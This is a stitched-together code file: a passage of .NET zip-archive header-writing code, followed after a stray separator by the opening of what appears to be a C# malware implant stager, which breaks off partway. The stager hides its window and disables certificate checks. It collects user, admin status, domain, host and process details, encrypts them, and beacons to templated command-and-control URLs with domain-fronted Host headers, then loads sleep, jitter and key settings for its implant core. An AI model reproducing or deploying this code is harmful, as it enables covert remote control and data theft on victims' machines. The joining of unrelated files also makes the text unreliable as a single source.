Zip64ExtraField zip64ExtraField = new Zip64ExtraField();
uint compressedSizeTruncated, uncompressedSizeTruncated, offsetOfLocalHeaderTruncated;
bool zip64Needed = false;
if (SizesTooLarge()
#if DEBUG_FORCE_ZIP64
|| _archive._forceZip64
#endif
)
{
zip64Needed = true;
compressedSizeTruncated = ZipHelper.Mask32Bit;
uncompressedSizeTruncated = ZipHelper.Mask32Bit;
// If we have one of the sizes, the other must go in there as speced for LH, but not necessarily for CH, but we do it anyways
zip64ExtraField.CompressedSize = _compressedSize;
zip64ExtraField.UncompressedSize = _uncompressedSize;
}
else
{
compressedSizeTruncated = (uint)_compressedSize;
uncompressedSizeTruncated = (uint)_uncompressedSize;
}
if (_offsetOfLocalHeader > uint.MaxValue
#if DEBUG_FORCE_ZIP64
|| _archive._forceZip64
#endif
)
{
zip64Needed = true;
offsetOfLocalHeaderTruncated = ZipHelper.Mask32Bit;
// If we have one of the sizes, the other must go in there as speced for LH, but not necessarily for CH, but we do it anyways
zip64ExtraField.LocalHeaderOffset = _offsetOfLocalHeader;
}
else
{
offsetOfLocalHeaderTruncated = (uint)_offsetOfLocalHeader;
}
if (zip64Needed)
VersionToExtractAtLeast(ZipVersionNeededValues.Zip64);
// determine if we can fit zip64 extra field and original extra fields all in
int bigExtraFieldLength = (zip64Needed ? zip64ExtraField.TotalSize : 0)
+ (_cdUnknownExtraFields != null ? ZipGenericExtraField.TotalSize(_cdUnknownExtraFields) : 0);
ushort extraFieldLength;
if (bigExtraFieldLength > ushort.MaxValue)
{
extraFieldLength = (ushort)(zip64Needed ? zip64ExtraField.TotalSize : 0);
_cdUnknownExtraFields = null;
}
else
{
extraFieldLength = (ushort)bigExtraFieldLength;
}
writer.Write(ZipCentralDirectoryFileHeader.SignatureConstant); // Central directory file header signature (4 bytes)
writer.Write((byte)_versionMadeBySpecification); // Version made by Specification (version) (1 byte)
writer.Write((byte)CurrentZipPlatform); // Version made by Compatibility (type) (1 byte)
writer.Write((ushort)_versionToExtract); // Minimum version needed to extract (2 bytes)
writer.Write((ushort)_generalPurposeBitFlag); // General Purpose bit flag (2 bytes)
writer.Write((ushort)CompressionMethod); // The Compression method (2 bytes)
writer.Write(ZipHelper.DateTimeToDosTime(_lastModified.DateTime)); // File last modification time and date (4 bytes)
writer.Write(_crc32); // CRC-32 (4 bytes)
writer.Write(compressedSizeTruncated); // Compressed Size (4 bytes)
writer.Write(uncompressedSizeTruncated); // Uncompressed Size (4 bytes)
writer.Write((ushort)_storedEntryNameBytes.Length); // File Name Length (2 bytes)
writer.Write(extraFieldLength); // Extra Field Length (2 bytes)
// This should hold because of how we read it originally in ZipCentralDirectoryFileHeader:
Debug.Assert((_fileComment == null) || (_fileComment.Length <= ushort.MaxValue));
writer.Write(_fileComment != null ? (ushort)_fileComment.Length : (ushort)0); // file comment length
writer.Write((ushort)0); // disk number start
writer.Write((ushort)0); // internal file attributes
writer.Write(_externalFileAttr); // external file attributes
writer.Write(offsetOfLocalHeaderTruncated); // offset of local header
writer.Write(_storedEntryNameBytes);
// write extra fields
if (zip64Needed)
zip64ExtraField.WriteBlock(_archive.ArchiveStream);
if (_cdUnknownExtraFields != null)
ZipGenericExtraField.WriteAllBlocks(_cdUnknownExtraFields, _archive.ArchiveStream);
if (_fileComment != null)
writer.Write(_fileComment);
}
// returns false if fails, will get called on every entry before closing in update mode
// can throw InvalidDataException
internal bool LoadLocalHeaderExtraFieldAndCompressedBytesIfNeeded()
{
string message;
// we should have made this exact call in _archive.Init through ThrowIfOpenable
Debug.Assert(IsOpenable(false, true, out message));
// load local header's extra fields. it will be null if we couldn't read for some reason
if (_originallyInArchive)
{
_archive.ArchiveStream.Seek(_offsetOfLocalHeader, SeekOrigin.Begin);
_lhUnknownExtraFields = ZipLocalFileHeader.GetExtraFields(_archive.ArchiveReader);
}
if (!_everOpenedForWrite && _originallyInArchive)
{
// we know that it is openable at this point
_compressedBytes = new byte[(_compressedSize / MaxSingleBufferSize) + 1][];
for (int i = 0; i < _compressedBytes.Length - 1; i++)
{
_compressedBytes[i] = new byte[MaxSingleBufferSize];
}
_compressedBytes[_compressedBytes.Length - 1] = new byte[_compressedSize % MaxSingleBufferSize];
_archive.ArchiveStream.Seek(OffsetOfCompressedData, SeekOrigin.Begin);
for (int i = 0; i < _compressedBytes.Length - 1; i++)
{
ZipHelper.ReadBytes(_archive.ArchiveStream, _compressedBytes[i], MaxSingleBufferSize);
}
ZipHelper.ReadBytes(_archive.ArchiveStream, _compressedBytes[_compressedBytes.Length - 1], (int)(_compressedSize % MaxSingleBufferSize));
}
return true;
}
internal void ThrowIfNotOpenable(bool needToUncompress, bool needToLoadIntoMemory)
{
string message;
if (!IsOpenable(needToUncompress, needToLoadIntoMemory, out message))
throw new InvalidDataException(message);
}
private CheckSumAndSizeWriteStream GetDataCompressor(Stream backingStream, bool leaveBackingStreamOpen, EventHandler onClose)
{
// stream stack: backingStream -> DeflateStream -> CheckSumWriteStream
// we should always be compressing with deflate. Stored is used for empty files, but we don't actually
// call through this function for that - we just write the stored value in the header
Debug.Assert(CompressionMethod == CompressionMethodValues.Deflate);
Stream compressorStream = _compressionLevel.HasValue ?
new DeflateStream(backingStream, _compressionLevel.Value, leaveBackingStreamOpen) :
new DeflateStream(backingStream, CompressionMode.Compress, leaveBackingStreamOpen);
bool isIntermediateStream = true;
bool leaveCompressorStreamOpenOnClose = leaveBackingStreamOpen && !isIntermediateStream;
var checkSumStream = new CheckSumAndSizeWriteStream(
compressorStream,
backingStream,
leaveCompressorStreamOpenOnClose,
this,
onClose,
(long initialPosition, long currentPosition, uint checkSum, Stream backing, ZipArchiveEntry thisRef, EventHandler closeHandler) =>
{
thisRef._crc32 = checkSum;
thisRef._uncompressedSize = currentPosition;
thisRef._compressedSize = backing.Position - initialPosition;
closeHandler?.Invoke(thisRef, EventArgs.Empty);
});
return checkSumStream;
}
private Stream GetDataDecompressor(Stream compressedStreamToRead)
{
Stream uncompressedStream = null;
switch (CompressionMethod)
{
case CompressionMethodValues.Deflate:
uncompressedStream = new DeflateStream(compressedStreamToRead, CompressionMode.Decompress);
break;
case CompressionMethodValues.Deflate64:
uncompressedStream = new DeflateManagedStream(compressedStreamToRead, CompressionMethodValues.Deflate64);
break;
case CompressionMethodValues.Stored:
default:
// we can assume that only deflate/deflate64/stored are allowed because we assume that
// IsOpenable is checked before this function is called
Debug.Assert(CompressionMethod == CompressionMethodValues.Stored);
uncompressedStream = compressedStreamToRead;
break;
}
return uncompressedStream;
}
private Stream OpenInReadMode(bool checkOpenable)
{
if (checkOpenable)
ThrowIfNotOpenable(needToUncompress: true, needToLoadIntoMemory: false);
Stream compressedStream = new SubReadStream(_archive.ArchiveStream, OffsetOfCompressedData, _compressedSize);
return GetDataDecompressor(compressedStream);
}
private Stream OpenInWriteMode()
{
if (_everOpenedForWrite)
throw new IOException(SR.CreateModeWriteOnceAndOneEntryAtATime);
// we assume that if another entry grabbed the archive stream, that it set this entry's _everOpenedForWrite property to true by calling WriteLocalFileHeaderIfNeeed
_archive.DebugAssertIsStillArchiveStreamOwner(this);
_everOpenedForWrite = true;
CheckSumAndSizeWriteStream crcSizeStream = GetDataCompressor(_archive.ArchiveStream, true, (object o, EventArgs e) =>
{
// release the archive stream
var entry = (ZipArchiveEntry)o;
entry._archive.ReleaseArchiveStream(entry);
entry._outstandingWriteStream = null;
});
_outstandingWriteStream = new DirectToArchiveWriterStream(crcSizeStream, this);
return new WrappedStream(baseStream: _outstandingWriteStream, closeBaseStream: true);
}
private Stream OpenInUpdateMode()
{
if (_currentlyOpenForWrite)
throw new IOException(SR.UpdateModeOneStream);
ThrowIfNotOpenable(needToUncompress: true, needToLoadIntoMemory: true);
_everOpenedForWrite = true;
_currentlyOpenForWrite = true;
// always put it at the beginning for them
UncompressedData.Seek(0, SeekOrigin.Begin);
return new WrappedStream(UncompressedData, this, thisRef =>
{
// once they close, we know uncompressed length, but still not compressed length
// so we don't fill in any size information
// those fields get figured out when we call GetCompressor as we write it to
// the actual archive
thisRef._currentlyOpenForWrite = false;
});
}
private bool IsOpenable(bool needToUncompress, bool needToLoadIntoMemory, out string message)
{
message = null;
if (_originallyInArchive)
{
if (needToUncompress)
{
if (CompressionMethod != CompressionMethodValues.Stored &&
CompressionMethod != CompressionMethodValues.Deflate &&
CompressionMethod != CompressionMethodValues.Deflate64)
{
switch (CompressionMethod)
{
case CompressionMethodValues.BZip2:
case CompressionMethodValues.LZMA:
message = SR.Format(SR.UnsupportedCompressionMethod, CompressionMethod.ToString());
break;
default:
message = SR.UnsupportedCompression;
break;
}
return false;
}
}
if (_diskNumberStart != _archive.NumberOfThisDisk)
{
message = SR.SplitSpanned;
return false;
}
if (_offsetOfLocalHeader > _archive.ArchiveStream.Length)
{
message = SR.LocalFileHeaderCorrupt;
return false;
}
_archive.ArchiveStream.Seek(_offsetOfLocalHeader, SeekOrigin.Begin);
if (!ZipLocalFileHeader.TrySkipBlock(_archive.ArchiveReader))
{
message = SR.LocalFileHeaderCorrupt;
return false;
}
// when this property gets called, some duplicated work
if (OffsetOfCompressedData + _compressedSize > _archive.ArchiveStream.Length)
{
message = SR.LocalFileHeaderCorrupt;
return false;
}
// This limitation originally existed because a) it is unreasonable to load > 4GB into memory
// but also because the stream reading functions make it hard. This has been updated to handle
// this scenario in a 64-bit process using multiple buffers, delivered first as an OOB for
// compatibility.
if (needToLoadIntoMemory)
{
if (_compressedSize > int.MaxValue)
{
if (!s_allowLargeZipArchiveEntriesInUpdateMode)
{
message = SR.EntryTooLarge;
return false;
}
}
}
}
return true;
}
private bool SizesTooLarge() => _compressedSize > uint.MaxValue || _uncompressedSize > uint.MaxValue;
// return value is true if we allocated an extra field for 64 bit headers, un/compressed size
private bool WriteLocalFileHeader(bool isEmptyFile)
{
BinaryWriter writer = new BinaryWriter(_archive.ArchiveStream);
// _entryname only gets set when we read in or call moveTo. MoveTo does a check, and
// reading in should not be able to produce a entryname longer than ushort.MaxValue
Debug.Assert(_storedEntryNameBytes.Length <= ushort.MaxValue);
// decide if we need the Zip64 extra field:
Zip64ExtraField zip64ExtraField = new Zip64ExtraField();
bool zip64Used = false;
uint compressedSizeTruncated, uncompressedSizeTruncated;
// if we already know that we have an empty file don't worry about anything, just do a straight shot of the header
if (isEmptyFile)
{
CompressionMethod = CompressionMethodValues.Stored;
compressedSizeTruncated = 0;
uncompressedSizeTruncated = 0;
Debug.Assert(_compressedSize == 0);
Debug.Assert(_uncompressedSize == 0);
Debug.Assert(_crc32 == 0);
}
else
{
// if we have a non-seekable stream, don't worry about sizes at all, and just set the right bit
// if we are using the data descriptor, then sizes and crc should be set to 0 in the header
if (_archive.Mode == ZipArchiveMode.Create && _archive.ArchiveStream.CanSeek == false && !isEmptyFile)
{
_generalPurposeBitFlag |= BitFlagValues.DataDescriptor;
zip64Used = false;
compressedSizeTruncated = 0;
uncompressedSizeTruncated = 0;
// the crc should not have been set if we are in create mode, but clear it just to be sure
Debug.Assert(_crc32 == 0);
}
else // if we are not in streaming mode, we have to decide if we want to write zip64 headers
{
if (SizesTooLarge()
#if DEBUG_FORCE_ZIP64
|| (_archive._forceZip64 && _archive.Mode == ZipArchiveMode.Update)
#endif
)
{
zip64Used = true;
compressedSizeTruncated = ZipHelper.Mask32Bit;
uncompressedSizeTruncated = ZipHelper.Mask32Bit;
// prepare Zip64 extra field object. If we have one of the sizes, the other must go in there
zip64ExtraField.CompressedSize = _compressedSize;
zip64ExtraField.UncompressedSize = _uncompressedSize;
VersionToExtractAtLeast(ZipVersionNeededValues.Zip64);
}
else
{
zip64Used = false;
compressedSizeTruncated = (uint)_compressedSize;
uncompressedSizeTruncated = (uint)_uncompressedSize;
}
}
}
// save offset
_offsetOfLocalHeader = writer.BaseStream.Position;
// calculate extra field. if zip64 stuff + original extraField aren't going to fit, dump the original extraField, because this is more important
int bigExtraFieldLength = (zip64Used ? zip64ExtraField.TotalSize : 0)
+ (_lhUnknownExtraFields != null ? ZipGenericExtraField.TotalSize(_lhUnknownExtraFields) : 0);
ushort extraFieldLength;
if (bigExtraFieldLength > ushort.MaxValue)
{
extraFieldLength = (ushort)(zip64Used ? zip64ExtraField.TotalSize : 0);
_lhUnknownExtraFields = null;
}
else
{
extraFieldLength = (ushort)bigExtraFieldLength;
}
// write header
writer.Write(ZipLocalFileHeader.SignatureConstant);
writer.Write((ushort)_versionToExtract);
writer.Write((ushort)_generalPurposeBitFlag);
writer.Write((ushort)CompressionMethod);
writer.Write(ZipHelper.DateTimeToDosTime(_lastModified.DateTime)); // uint
writer.Write(_crc32); // uint
writer.Write(compressedSizeTruncated); // uint
writer.Write(uncompressedSizeTruncated); // uint
writer.Write((ushort)_storedEntryNameBytes.Length);
writer.Write(extraFieldLength); // ushort
writer.Write(_storedEntryNameBytes);
if (zip64Used)
zip64ExtraField.WriteBlock(_archive.ArchiveStream);
if (_lhUnknownExtraFields != null)
ZipGenericExtraField.WriteAllBlocks(_lhUnknownExtraFields, _archive.ArchiveStream);
return zip64Used;
}
private void WriteLocalFileHeaderAndDataIfNeeded()
{
// _storedUncompressedData gets frozen here, and is what gets written to the file
if (_storedUncompressedData != null || _compressedBytes != null)
{
if (_storedUncompressedData != null)
{
_uncompressedSize = _storedUncompressedData.Length;
//The compressor fills in CRC and sizes
//The DirectToArchiveWriterStream writes headers and such
using (Stream entryWriter = new DirectToArchiveWriterStream(
GetDataCompressor(_archive.ArchiveStream, true, null),
this))
{
_storedUncompressedData.Seek(0, SeekOrigin.Begin);
_storedUncompressedData.CopyTo(entryWriter);
_storedUncompressedData.Dispose();
_storedUncompressedData = null;
}
}
else
{
// we know the sizes at this point, so just go ahead and write the headers
if (_uncompressedSize == 0)
CompressionMethod = CompressionMethodValues.Stored;
WriteLocalFileHeader(isEmptyFile: false);
foreach (byte[] compressedBytes in _compressedBytes)
{
_archive.ArchiveStream.Write(compressedBytes, 0, compressedBytes.Length);
}
}
}
else // there is no data in the file, but if we are in update mode, we still need to write a header
{
if (_archive.Mode == ZipArchiveMode.Update || !_everOpenedForWrite)
{
_everOpenedForWrite = true;
WriteLocalFileHeader(isEmptyFile: true);
}
}
}
// Using _offsetOfLocalHeader, seeks back to where CRC and sizes should be in the header,
// writes them, then seeks back to where you started
// Assumes that the stream is currently at the end of the data
private void WriteCrcAndSizesInLocalHeader(bool zip64HeaderUsed)
{
long finalPosition = _archive.ArchiveStream.Position;
BinaryWriter writer = new BinaryWriter(_archive.ArchiveStream);
bool zip64Needed = SizesTooLarge()
#if DEBUG_FORCE_ZIP64
|| _archive._forceZip64
#endif
;
bool pretendStreaming = zip64Needed && !zip64HeaderUsed;
uint compressedSizeTruncated = zip64Needed ? ZipHelper.Mask32Bit : (uint)_compressedSize;
uint uncompressedSizeTruncated = zip64Needed ? ZipHelper.Mask32Bit : (uint)_uncompressedSize;
// first step is, if we need zip64, but didn't allocate it, pretend we did a stream write, because
// we can't go back and give ourselves the space that the extra field needs.
// we do this by setting the correct property in the bit flag
if (pretendStreaming)
{
_generalPurposeBitFlag |= BitFlagValues.DataDescriptor;
_archive.ArchiveStream.Seek(_offsetOfLocalHeader + ZipLocalFileHeader.OffsetToBitFlagFromHeaderStart,
SeekOrigin.Begin);
writer.Write((ushort)_generalPurposeBitFlag);
}
// next step is fill out the 32-bit size values in the normal header. we can't assume that
// they are correct. we also write the CRC
_archive.ArchiveStream.Seek(_offsetOfLocalHeader + ZipLocalFileHeader.OffsetToCrcFromHeaderStart,
SeekOrigin.Begin);
if (!pretendStreaming)
{
writer.Write(_crc32);
writer.Write(compressedSizeTruncated);
writer.Write(uncompressedSizeTruncated);
}
else // but if we are pretending to stream, we want to fill in with zeroes
{
writer.Write((uint)0);
writer.Write((uint)0);
writer.Write((uint)0);
}
// next step: if we wrote the 64 bit header initially, a different implementation might
// try to read it, even if the 32-bit size values aren't masked. thus, we should always put the
// correct size information in there. note that order of uncomp/comp is switched, and these are
// 64-bit values
// also, note that in order for this to be correct, we have to insure that the zip64 extra field
// is always the first extra field that is written
if (zip64HeaderUsed)
{
_archive.ArchiveStream.Seek(_offsetOfLocalHeader + ZipLocalFileHeader.SizeOfLocalHeader
+ _storedEntryNameBytes.Length + Zip64ExtraField.OffsetToFirstField,
SeekOrigin.Begin);
writer.Write(_uncompressedSize);
writer.Write(_compressedSize);
_archive.ArchiveStream.Seek(finalPosition, SeekOrigin.Begin);
}
// now go to the where we were. assume that this is the end of the data
_archive.ArchiveStream.Seek(finalPosition, SeekOrigin.Begin);
// if we are pretending we did a stream write, we want to write the data descriptor out
// the data descriptor can have 32-bit sizes or 64-bit sizes. In this case, we always use
// 64-bit sizes
if (pretendStreaming)
{
writer.Write(_crc32);
writer.Write(_compressedSize);
writer.Write(_uncompressedSize);
}
}
private void WriteDataDescriptor()
{
// data descriptor can be 32-bit or 64-bit sizes. 32-bit is more compatible, so use that if possible
// signature is optional but recommended by the spec
BinaryWriter writer = new BinaryWriter(_archive.ArchiveStream);
writer.Write(ZipLocalFileHeader.DataDescriptorSignature);
writer.Write(_crc32);
if (SizesTooLarge())
{
writer.Write(_compressedSize);
writer.Write(_uncompressedSize);
}
else
{
writer.Write((uint)_compressedSize);
writer.Write((uint)_uncompressedSize);
}
}
private void UnloadStreams()
{
if (_storedUncompressedData != null)
_storedUncompressedData.Dispose();
_compressedBytes = null;
_outstandingWriteStream = null;
}
private void CloseStreams()
{
// if the user left the stream open, close the underlying stream for them
if (_outstandingWriteStream != null)
{
_outstandingWriteStream.Dispose();
}
}
private void VersionToExtractAtLeast(ZipVersionNeededValues value)
{
if (_versionToExtract < value)
{
_versionToExtract = value;
}
if (_versionMadeBySpecification < value)
{
_versionMadeBySpecification = value;
}
}
private void ThrowIfInvalidArchive()
{
if (_archive == null)
throw new InvalidOperationException(SR.DeletedEntry);
_archive.ThrowIfDisposed();
}
/// <summary>
/// Gets the file name of the path based on Windows path separator characters
/// </summary>
private static string GetFileName_Windows(string path)
{
int length = path.Length;
for (int i = length; --i >= 0;)
{
char ch = path[i];
if (ch == '\\' || ch == '/' || ch == ':')
return path.Substring(i + 1);
}
return path;
}
/// <summary>
/// Gets the file name of the path based on Unix path separator characters
/// </summary>
private static string GetFileName_Unix(string path)
{
int length = path.Length;
for (int i = length; --i >= 0;)
if (path[i] == '/')
return path.Substring(i + 1);
return path;
}
private sealed partial class DirectToArchiveWriterStream : Stream
{
private long _position;
private CheckSumAndSizeWriteStream _crcSizeStream;
private bool _everWritten;
private bool _isDisposed;
private ZipArchiveEntry _entry;
private bool _usedZip64inLH;
private bool _canWrite;
// makes the assumption that somewhere down the line, crcSizeStream is eventually writing directly to the archive
// this class calls other functions on ZipArchiveEntry that write directly to the archive
public DirectToArchiveWriterStream(CheckSumAndSizeWriteStream crcSizeStream, ZipArchiveEntry entry)
{
_position = 0;
_crcSizeStream = crcSizeStream;
_everWritten = false;
_isDisposed = false;
_entry = entry;
_usedZip64inLH = false;
_canWrite = true;
}
public override long Length
{
get
{
ThrowIfDisposed();
throw new NotSupportedException(SR.SeekingNotSupported);
}
}
public override long Position
{
get
{
Contract.Ensures(Contract.Result<long>() >= 0);
ThrowIfDisposed();
return _position;
}
set
{
ThrowIfDisposed();
throw new NotSupportedException(SR.SeekingNotSupported);
}
}
public override bool CanRead => false;
public override bool CanSeek => false;
public override bool CanWrite => _canWrite;
private void ThrowIfDisposed()
{
if (_isDisposed)
throw new ObjectDisposedException(GetType().ToString(), SR.HiddenStreamName);
}
public override int Read(byte[] buffer, int offset, int count)
{
ThrowIfDisposed();
throw new NotSupportedException(SR.ReadingNotSupported);
}
public override long Seek(long offset, SeekOrigin origin)
{
ThrowIfDisposed();
throw new NotSupportedException(SR.SeekingNotSupported);
}
public override void SetLength(long value)
{
ThrowIfDisposed();
throw new NotSupportedException(SR.SetLengthRequiresSeekingAndWriting);
}
// careful: assumes that write is the only way to write to the stream, if writebyte/beginwrite are implemented
// they must set _everWritten, etc.
public override void Write(byte[] buffer, int offset, int count)
{
//we can't pass the argument checking down a level
if (buffer == null)
throw new ArgumentNullException(nameof(buffer));
if (offset < 0)
throw new ArgumentOutOfRangeException(nameof(offset), SR.ArgumentNeedNonNegative);
if (count < 0)
throw new ArgumentOutOfRangeException(nameof(count), SR.ArgumentNeedNonNegative);
if ((buffer.Length - offset) < count)
throw new ArgumentException(SR.OffsetLengthInvalid);
Contract.EndContractBlock();
ThrowIfDisposed();
Debug.Assert(CanWrite);
// if we're not actually writing anything, we don't want to trigger the header
if (count == 0)
return;
if (!_everWritten)
{
_everWritten = true;
// write local header, we are good to go
_usedZip64inLH = _entry.WriteLocalFileHeader(isEmptyFile: false);
}
_crcSizeStream.Write(buffer, offset, count);
_position += count;
}
public override void Flush()
{
ThrowIfDisposed();
Debug.Assert(CanWrite);
_crcSizeStream.Flush();
}
protected override void Dispose(bool disposing)
{
if (disposing && !_isDisposed)
{
_crcSizeStream.Dispose(); // now we have size/crc info
if (!_everWritten)
{
// write local header, no data, so we use stored
_entry.WriteLocalFileHeader(isEmptyFile: true);
}
else
{
// go back and finish writing
if (_entry._archive.ArchiveStream.CanSeek)
// finish writing local header if we have seek capabilities
_entry.WriteCrcAndSizesInLocalHeader(_usedZip64inLH);
else
// write out data descriptor if we don't have seek capabilities
_entry.WriteDataDescriptor();
}
_canWrite = false;
_isDisposed = true;
}
base.Dispose(disposing);
}
}
[Flags]
private enum BitFlagValues : ushort { DataDescriptor = 0x8, UnicodeFileName = 0x800 }
internal enum CompressionMethodValues : ushort { Stored = 0x0, Deflate = 0x8, Deflate64 = 0x9, BZip2 = 0xC, LZMA = 0xE }
private enum OpenableValues { Openable, FileNonExistent, FileTooLarge }
}
}
| |
using System;
using System.Linq;
using System.Net;
using System.Text;
using System.Text.RegularExpressions;
using System.Reflection;
using System.Threading;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.IO;
using System.IO.Compression;
using System.Collections.Generic;
using System.Globalization;
public class Program
{
[DllImport("kernel32.dll")]
static extern IntPtr GetConsoleWindow();
[DllImport("user32.dll")]
static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
[DllImport("shell32.dll")]
static extern IntPtr CommandLineToArgvW([MarshalAs(UnmanagedType.LPWStr)] string lpCmdLine, out int pNumArgs);
public const int SW_HIDE = 0;
public const int SW_SHOW = 5;
public static string taskId;
public static bool Run = true;
private static string pKey;
private static int dfs = 0;
private static string[] dfarray = {#REPLACEDF#};
public static string[] dfhead = null;
private static string[] basearray = {#REPLACEBASEURL#};
public static string[] rotate = null;
public static void Sharp()
{
if(!string.IsNullOrEmpty("#REPLACEMEDOMAIN#") && !Environment.UserDomainName.Contains("#REPLACEMEDOMAIN#"))
{
return;
}
var handle = GetConsoleWindow();
ShowWindow(handle, SW_HIDE);
AUnTrCrts();
if(#REPLACESTAGERRETRIES#)
{
int limit = #REPLACESTAGERRETRIESLIMIT#;
int waitTime = #REPLACESTAGERRETRIESWAIT# * 1000;
var mre = new System.Threading.ManualResetEvent(false);
while (true && limit > 0)
{
try {
primer();
break;
} catch {
limit = limit -1;
mre.WaitOne(waitTime);
waitTime = waitTime * 2;
}
}
}
else
{
primer();
}
}
public static void Main()
{
Sharp();
}
static string[] CLArgs(string cl)
{
int argc;
var argv = CommandLineToArgvW(cl, out argc);
if (argv == IntPtr.Zero)
throw new System.ComponentModel.Win32Exception();
try
{
var args = new string[argc];
for (var i = 0; i < args.Length; i++)
{
var p = Marshal.ReadIntPtr(argv, i * IntPtr.Size);
args[i] = Marshal.PtrToStringUni(p);
}
return args;
}
finally
{
Marshal.FreeHGlobal(argv);
}
}
static byte[] Combine(byte[] first, byte[] second)
{
byte[] ret = new byte[first.Length + second.Length];
Buffer.BlockCopy(first, 0, ret, 0, first.Length);
Buffer.BlockCopy(second, 0, ret, first.Length, second.Length);
return ret;
}
static System.Net.WebClient GetWebRequest(string cookie)
{
try {
ServicePointManager.SecurityProtocol = (SecurityProtocolType)192 |(SecurityProtocolType)768 | (SecurityProtocolType)3072;
} catch (Exception e) {
Console.WriteLine(e.Message);
}
var x = new System.Net.WebClient();
var purl = @"#REPLACEPROXYURL#";
var puser = @"#REPLACEPROXYUSER#";
var ppass = @"#REPLACEPROXYPASSWORD#";
if (!String.IsNullOrEmpty(purl))
{
WebProxy proxy = new WebProxy();
proxy.Address = new Uri(purl);
proxy.Credentials = new NetworkCredential(puser, ppass);
if (String.IsNullOrEmpty(puser))
{
proxy.UseDefaultCredentials = true;
}
proxy.BypassProxyOnLocal = false;
x.Proxy = proxy;
} else {
if (null != x.Proxy)
x.Proxy.Credentials = CredentialCache.DefaultCredentials;
}
var df = dfarray[dfs].Replace("\"", String.Empty).Trim();
if (!String.IsNullOrEmpty(df))
x.Headers.Add("Host", df);
x.Headers.Add("User-Agent", "#REPLACEUSERAGENT#");
x.Headers.Add("Referer", "#REPLACEREFERER#");
if (null != cookie)
x.Headers.Add(System.Net.HttpRequestHeader.Cookie, String.Format("SessionID={0}", cookie));
return x;
}
static string Decryption(string key, string enc)
{
var b = System.Convert.FromBase64String(enc);
var IV = new Byte[16];
Array.Copy(b, IV, 16);
try
{
var a = CreateCam(key, System.Convert.ToBase64String(IV));
var u = a.CreateDecryptor().TransformFinalBlock(b, 16, b.Length - 16);
return System.Text.Encoding.UTF8.GetString(System.Convert.FromBase64String(System.Text.Encoding.UTF8.GetString(u).Trim('\0')));
}
catch
{
var a = CreateCam(key, System.Convert.ToBase64String(IV), false);
var u = a.CreateDecryptor().TransformFinalBlock(b, 16, b.Length - 16);
return System.Text.Encoding.UTF8.GetString(System.Convert.FromBase64String(System.Text.Encoding.UTF8.GetString(u).Trim('\0')));
}
finally
{
Array.Clear(b, 0, b.Length);
Array.Clear(IV, 0, 16);
}
}
static bool ihInteg()
{
System.Security.Principal.WindowsIdentity identity = System.Security.Principal.WindowsIdentity.GetCurrent();
System.Security.Principal.WindowsPrincipal principal = new System.Security.Principal.WindowsPrincipal(identity);
return principal.IsInRole(System.Security.Principal.WindowsBuiltInRole.Administrator);
}
static string Encryption(string key, string un, bool comp = false, byte[] unByte = null)
{
byte[] byEnc = null;
if (unByte != null)
byEnc = unByte;
else
byEnc = System.Text.Encoding.UTF8.GetBytes(un);
if (comp)
byEnc = Compress(byEnc);
try
{
var a = CreateCam(key, null);
var f = a.CreateEncryptor().TransformFinalBlock(byEnc, 0, byEnc.Length);
return System.Convert.ToBase64String(Combine(a.IV, f));
}
catch
{
var a = CreateCam(key, null, false);
var f = a.CreateEncryptor().TransformFinalBlock(byEnc, 0, byEnc.Length);
return System.Convert.ToBase64String(Combine(a.IV, f));
}
}
static System.Security.Cryptography.SymmetricAlgorithm CreateCam(string key, string IV, bool rij = true)
{
System.Security.Cryptography.SymmetricAlgorithm a = null;
if (rij)
a = new System.Security.Cryptography.RijndaelManaged();
else
a = new System.Security.Cryptography.AesCryptoServiceProvider();
a.Mode = System.Security.Cryptography.CipherMode.CBC;
a.Padding = System.Security.Cryptography.PaddingMode.Zeros;
a.BlockSize = 128;
a.KeySize = 256;
if (null != IV)
a.IV = System.Convert.FromBase64String(IV);
else
a.GenerateIV();
if (null != key)
a.Key = System.Convert.FromBase64String(key);
return a;
}
static void AUnTrCrts()
{
try
{
System.Net.ServicePointManager.ServerCertificateValidationCallback = (z, y, x, w) => { return true; };
}
catch { }
}
static void primer()
{
if (DateTime.ParseExact("#REPLACEKILLDATE#", "yyyy-MM-dd", CultureInfo.InvariantCulture) > DateTime.Now)
{
var u = "";
try
{
u = System.Security.Principal.WindowsIdentity.GetCurrent().Name;
} catch {
u = System.Environment.UserName;
}
if (ihInteg())
u += "*";
var dn = System.Environment.UserDomainName;
var cn = System.Environment.GetEnvironmentVariable("COMPUTERNAME");
var arch = System.Environment.GetEnvironmentVariable("PROCESSOR_ARCHITECTURE");
int pid = Process.GetCurrentProcess().Id;
Environment.CurrentDirectory = Environment.GetEnvironmentVariable("windir");
string x = null;
string baseURL = null;
foreach (string du in Program.basearray)
{
var o = String.Format("{0};{1};{2};{3};{4};#REPLACEURLID#", dn, u, cn, arch, pid);
string key = @"#REPLACEKEY#";
baseURL = du;
string s = baseURL+"#REPLACESTARTURL#";
try {
var primer = GetWebRequest(Encryption(key, o)).DownloadString(s);
x = Decryption(key, primer);
}
catch (Exception e){}
if (x !=null){
break;
}
dfs++;
}
var re = new Regex("RANDOMURI19901(.*)10991IRUMODNAR");
var m = re.Match(x);
string RandomURI = m.Groups[1].ToString();
re = new Regex("URLS10484390243(.*)34209348401SLRU");
m = re.Match(x);
string URLS = m.Groups[1].ToString();
re = new Regex("KILLDATE1665(.*)5661ETADLLIK");
m = re.Match(x);
var KillDate = m.Groups[1].ToString();
re = new Regex("SLEEP98001(.*)10089PEELS");
m = re.Match(x);
var Sleep = m.Groups[1].ToString();
re = new Regex("JITTER2025(.*)5202RETTIJ");
m = re.Match(x);
var Jitter = m.Groups[1].ToString();
re = new Regex("NEWKEY8839394(.*)4939388YEKWEN");
m = re.Match(x);
var NewKey = m.Groups[1].ToString();
re = new Regex("IMGS19459394(.*)49395491SGMI");
m = re.Match(x);
var IMGs = m.Groups[1].ToString();
ImplantCore(baseURL, RandomURI, URLS, KillDate, Sleep, NewKey, IMGs, Jitter);
}
}
static byte[] Compress(byte[] raw)
{
using (MemoryStream memory = new MemoryStream())
{
using (GZipStream gzip = new GZipStream(memory, CompressionMode.Compress, true))
{
gzip.Write(raw, 0, raw.Length);
}
return memory.ToArray();
}
}
static Type LoadS(string assemblyqNme)
{
return Type.GetType(assemblyqNme, (name) =>
{
return AppDomain.CurrentDomain.GetAssemblies().Where(z => z.FullName == name.FullName).LastOrDefault();
}, null, true);
}
static string rAsm(string c)
{
